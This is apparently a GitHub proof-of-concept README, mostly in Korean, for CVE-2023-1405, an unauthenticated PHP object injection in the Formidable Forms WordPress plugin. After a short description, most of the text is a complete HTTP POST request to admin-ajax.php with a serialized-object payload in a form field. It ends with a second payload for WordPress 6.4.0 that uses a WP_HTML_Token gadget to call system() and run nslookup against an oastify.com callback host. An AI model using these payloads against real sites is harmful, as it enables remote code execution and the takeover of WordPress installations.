randomrobbiebf/cve-2023-1405Formidable Forms <= 6.1.2 - 인증되지 않은 PHP 객체 주입
Formidable Forms <= 6.1.2 - 인증되지 않은 PHP 객체 주입
Formidable Forms 플러그인 for WordPress는 버전 6.1.2까지 (포함) 폼 제출의 신뢰할 수 없는 입력을 역직렬화하여 PHP 객체 주입에 취약합니다. 이를 통해 인증되지 않은 공격자가 PHP 객체를 주입할 수 있습니다. 취약한 플러그인에는 POP 체인이 존재하지 않습니다. 대상 시스템에 추가 플러그인이나 테마를 통해 POP 체인이 존재하는 경우, 공격자가 임의의 파일을 삭제하거나, 민감한 데이터를 검색하거나, 코드를 실행할 수 있습니다.
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2023-1405
POST /wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
Content-Type: multipart/form-data; boundary=---------------------------343242131629515258773021267392
Content-Length: 1871
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0, i
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_action"
create
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_id"
1
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_hide_fields_1"
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_key"
contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[0]"
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_submit_entry_1"
5dc418e798
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="_wp_http_referer"
/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[1]"
test
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[2]"
teasads
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[3]"
[email protected]
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[4]"
teasdsda
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[5]"
O:20:"PHP_Object_Injection":0:{}
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_key"
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_verify"
-----------------------------343242131629515258773021267392--
Wordpress 6.4.0에서는 이 페이로드도 사용할 수 있습니다: O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:53:"nslookup jj603shxad7lmfb20joe5vrjva11pudj.oastify.com";s:10:"on_destroy";s:6:"system";}